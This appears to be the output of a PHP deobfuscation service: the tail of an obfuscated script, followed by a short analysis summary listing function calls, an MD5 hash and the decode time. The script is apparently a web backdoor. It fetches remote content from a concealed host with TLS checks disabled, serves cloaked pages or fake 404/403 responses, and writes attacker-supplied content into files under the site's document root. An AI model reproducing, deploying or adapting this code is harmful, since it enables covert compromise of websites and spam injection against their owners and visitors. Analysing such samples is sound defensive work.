OooooOO($O,$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[16].$O[9].$O[9].$O[3].$O[52].$O[9].$O[8].$O[11].$O[4].$O[59].$O[9].$O[15].$O[9],$OOOooo000);} else {$html_content = OooooOO($O,$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[16].$O[9].$O[9].$O[3].$O[52].$O[9].$O[8].$O[11].$O[4].$O[59].$O[9].$O[15].$O[9],$OOOooo000);}if(strstr($html_content,$O[8].$O[17].$O[15].$O[4].$O[25].$O[18].$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4])){@header("Content-type: text/html; charset=utf-8");$html_content = str_replace("okhtmlgetcontent",'',$html_content);echo $html_content;exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[69].$O[67].$O[67].$O[9].$O[10].$O[14].$O[2])){@header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[64].$O[57].$O[69].$O[67].$O[67].$O[57].$O[33].$O[24].$O[4].$O[2].$O[3].$O[24].$O[10].$O[18].$O[57].$O[37].$O[2].$O[3].$O[22].$O[2].$O[3].$O[57].$O[28].$O[3].$O[3].$O[8].$O[3]);exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[70].$O[67].$O[70].$O[70].$O[9].$O[10].$O[14].$O[2])){@header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[64].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9])){header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);$html_content = str_replace("getcontentsitemap",'',$html_content);echo $html_content;exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[9].$O[7].$O[24].$O[14].$O[25].$O[10].$O[9])){$html_content = str_replace("getcontentpingmap",'',$html_content);$html_content = explode($O[92],$html_content);foreach($html_content as $Oog => $Oov){$o0o0oooo = OooooOO($O,$Oov);$Oooo0s = (strpos($o0o0oooo,$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[57].$O[50].$O[8].$O[4].$O[7].$O[13].$O[7].$O[21].$O[10].$O[4].$O[7].$O[8].$O[24].$O[57].$O[29].$O[2].$O[21].$O[2].$O[7].$O[22].$O[2].$O[12]) !== false) ? $O[34].$O[43] : $O[28].$O[29].$O[29].$O[34].$O[29];echo $Oov.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$Oooo0s.PHP_EOL;}exit();}function OooooOO($O,$OooO,$OOOooo000=''){$OooOO = '';if(function_exists($O[21].$O[6].$O[3].$O[18].$O[52].$O[7].$O[24].$O[7].$O[4])){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);if($OOOooo000) {curl_setopt($OooOOOO, CURLOPT_POST, 1);curl_setopt($OooOOOO, CURLOPT_POSTFIELDS, http_build_query($OOOooo000));}curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O[13].$O[7].$O[18].$O[2].$O[52].$O[14].$O[2].$O[4].$O[52].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[11])){if ($OOOooo000) {$oO00Oo = http_build_query($OOOooo000);$options[$O[15].$O[4].$O[4].$O[9]] = array($O[4].$O[7].$O[25].$O[2].$O[8].$O[6].$O[4]=>60,$O[25].$O[2].$O[4].$O[15].$O[8].$O[12] => $O[35].$O[34].$O[37].$O[30],$O[15].$O[2].$O[10].$O[12].$O[2].$O[3] => $O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[10].$O[9].$O[9].$O[18].$O[7].$O[21].$O[10].$O[4].$O[7].$O[8].$O[24].$O[63].$O[20].$O[53].$O[1].$O[1].$O[1].$O[53].$O[13].$O[8].$O[3].$O[25].$O[53].$O[6].$O[3].$O[18].$O[2].$O[24].$O[21].$O[8].$O[12].$O[2].$O[12],$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4] => $oO00Oo);$context = stream_context_create($options);$OooOO = file_get_contents($OooO, false, $context);} else{$OooOO = file_get_contents($OooO);}}if($OooOO) {return $OooOO;}$OooO=$OooO.$O[55].http_build_query($OOOooo000).$O[78].$O[4].$O[11].$O[4].$O[61].$O[11].$O[18].$O[64].$O[65].$O[66];if(function_exists($O[21].$O[6].$O[3].$O[18].$O[52].$O[7].$O[24].$O[7].$O[4])){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O[13].$O[7].$O[18].$O[2].$O[52].$O[14].$O[2].$O[4].$O[52].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[11])){$OooOO = @file_get_contents($OooO);}return $OooOO;}function OooooOOOO($O,$Ooo, $OooOOOOO, $app='') {if ($app) {$OoooO = fopen(@$_SERVER[$O[38].$O[34].$O[47].$O[32].$O[51].$O[28].$O[50].$O[30].$O[52].$O[29].$O[34].$O[34].$O[30]].$O[63].$Ooo, $O[10]) or die('0');$OooOOOOO = PHP_EOL.$OooOOOOO;}else{$OoooO = fopen(@$_SERVER[$O[38].$O[34].$O[47].$O[32].$O[51].$O[28].$O[50].$O[30].$O[52].$O[29].$O[34].$O[34].$O[30]].$O[63].$Ooo, $O[1]) or die('0');}$result = fwrite($OoooO, $OooOOOOO);fclose($OoooO);return $result;}?>

Function Calls

header 1
error_reporting 1

Variables

None

Stats

MD5 c1847bbf7fe44761fec7659cb57be45f
Eval Count 0
Decode Time 284 ms